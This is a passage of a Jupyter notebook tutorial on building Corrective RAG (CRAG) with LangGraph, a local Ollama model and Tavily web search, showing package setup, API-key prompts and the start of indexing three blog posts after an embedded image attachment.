YGRHv++edt2rRp1rFjR+vcubPtuOOO1qBBA3vuueds7Nixtscee5iCwP/9739WVFRku+66a2acbIaW8oUXXrCpU6fascceax06dMjQs6DYCCCQSwIE3Ll0tTlXBBBAAAEEEKhWwAfeQ4cOdcH0f/7zH3vqqads3rx5LvBWrbaCbgXjX3zxhWkEc/UB//HHH+3www9304VVe5DQBqpFf+2116xZs2bWrl270Dvm8tRxVq9ebT169KjwXi6+8DdAjjrqKOvUqVMuEnDOCCCQYQI0Kc+wC0ZxEUAAAQQQQKB+BDQg2l133WUvv/yynXLKKS6oPvDAA+2CCy6wbbfd1j2PGTPGrrnmGtt7771t7ty59uKLL9a6cE2bNrXrr7/e9R2P3/nGG2907zVq1Cj+rZx87ftu++ecROCkEUAgowQIuDPqclFYBBBAAAEEEKhvga233trUA0+10BdffLF99dVXdsIJJ7iRyffbbz/XtHzcuHGuWBqxvLZp2LBhtu+++9rHH39cYbTzCRMm2FtvveWaqaspO8ls0KBBjoFRyvlrQACBTBFosD5ImVJYyokAAggggAACCEQtUFpa6mq7Vfs9adIka9OmjS1atMg1Cdc83aNHj7ZevXrVqpgacG3//fd3fcL/9a9/uX3POusse/XVV12tuUZP90nH0jbffPON5efnm6YnU5/mxo0b+01cE3SNvK7m6hrcbfny5da6dWvbfffdTc2xMzmdc845dvfdd2fyKVB2BBDIIQEC7hy62JwqAggggAACCCRX4L333nN9ucNNyc877zy78MILa32g3//+96b+4qolLygocLXeaqqu0dN9UrP1X/ziFy6I9uv0HN5Og7idccYZrnbcb6P+4boZoGD1j3/8o1/NMwIIIIBAigUIuFMMTPYIIIAAAgggkP0Cav590UUXuVrnwsJCmzhxYq1PevLkybbnnnu6QFt5KPhWM/aBAwfG8rryyivtkUcesZNPPtkUoC9dutQ1c//8889d4L/ddtvZlClTXE22guxnn33W+vXr52rClYn6PtMfPMbJAgIIIJByAfpwp5yYAyCAAAIIIIBAtgsMHjzYNf8+7bTTbNWqVXU6XY2OrubeagquYFsDtIWDbWX6wQcfuLz/8Ic/WNu2bU37HH/88W6dmpgrqYm7kmq03333XRf8+z7PBNuOhn8QQACBehOghr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" + } + }, + "cell_type": "markdown", + "id": "92ddc4f4-f7bf-4e0e-b5a5-5abd8a008b21", + "metadata": {}, + "source": [ + "# Corrective RAG (CRAG) using local LLMs\n", + "\n", + "[Corrective-RAG (CRAG)](https://arxiv.org/abs/2401.15884) is a strategy for RAG that incorporates self-reflection / self-grading on retrieved documents. \n", + "\n", + "The paper follows this general flow:\n", + "\n", + "* If at least one document exceeds the threshold for `relevance`, then it proceeds to generation\n", + "* If all documents fall below the `relevance` threshold or if the grader is unsure, then it uses web search to supplement retrieval\n", + "* Before generation, it performs knowledge refinement of the search or retrieved documents\n", + "* This partitions the document into `knowledge strips`\n", + "* It grades each strip, and filters out irrelevant ones\n", + "\n", + "We will implement some of these ideas from scratch using [LangGraph](https://langchain-ai.github.io/langgraph/):\n", + "\n", + "* If *any* documents are irrelevant, we'll supplement retrieval with web search. \n", + "* We'll skip the knowledge refinement, but this can be added back as a node if desired. \n", + "* We'll use [Tavily Search](https://python.langchain.com/v0.2/docs/integrations/tools/tavily_search/) for web search.\n", + "\n", + "![Screenshot 2024-06-24 at 3.03.16 PM.png](attachment:b77a7d3b-b28a-4dcf-9f1a-861f2f2c5f6c.png)" + ] + }, + { + "cell_type": "markdown", + "id": "6ba4302f-09d9-4d2a-a18d-a6fd23704850", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "We'll use [Ollama](https://ollama.ai/) to access a local LLM:\n", + "\n", + "* Download [Ollama app](https://ollama.ai/).\n", + "* Pull your model of choice, e.g.: `ollama pull llama3`\n", + "\n", + "We'll use [Tavily](https://python.langchain.com/v0.2/docs/integrations/tools/tavily_search/) for web search.\n", + "\n", + "We'll use a vectorstore with [Nomic local embeddings](https://blog.nomic.ai/posts/nomic-embed-text-v1) or, optionally, OpenAI embeddings.\n", + "\n", + "\n", + "Let's install our required packages and set our API keys:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4a660963-bd3d-4c87-b2e4-b6e432055211", + "metadata": {}, + "outputs": [], + "source": [ + "%%capture --no-stderr\n", + "%pip install -U langchain_community tiktoken langchainhub scikit-learn langchain langgraph tavily-python nomic[local] langchain-nomic langchain_openai" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "68316ba0-854b-41e1-9af5-1f9e965946e3", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(key: str):\n", + " if key not in os.environ:\n", + " os.environ[key] = getpass.getpass(f\"{key}:\")\n", + "\n", + "\n", + "_set_env(\"OPENAI_API_KEY\")\n", + "_set_env(\"TAVILY_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "98f863ea", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "c059c3a3-7f01-4d46-8289-fde4c1b4155f", + "metadata": {}, + "source": [ + "### LLM\n", + "\n", + "You can select from [Ollama LLMs](https://ollama.com/library)." + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "2f4db331-c4d0-4c7c-a9a5-0bebc8a89c6c", + "metadata": {}, + "outputs": [], + "source": [ + "local_llm = \"llama3\"\n", + "model_tested = \"llama3-8b\"\n", + "metadata = f\"CRAG, {model_tested}\"" + ] + }, + { + "cell_type": "markdown", + "id": "6e2b6eed-3b3f-44b5-a34a-4ade1e94caf0", + "metadata": {}, + "source": [ + "## Create Index\n", + "\n", + "Let's index 3 blog posts." + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "bb8b789b-475b-4e1b-9c66-03504c837830", + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "USER_AGENT environment variable not set, consider setting it to identify your requests.\n" + ] + } + ], + "source": [ + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import SKLearnVectorStore\n", + "from langchain_nomic.embeddings import NomicEmbeddings # local\n", + "from langchain_openai import OpenAIEmbeddings # api\n", + "\n", + "# List of URLs to load documents from\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "# Load documents from the URLs\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "# Initialize a text splitter with specified chunk size and overlap\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=250, chunk_overlap=0\n", + ")\n", + 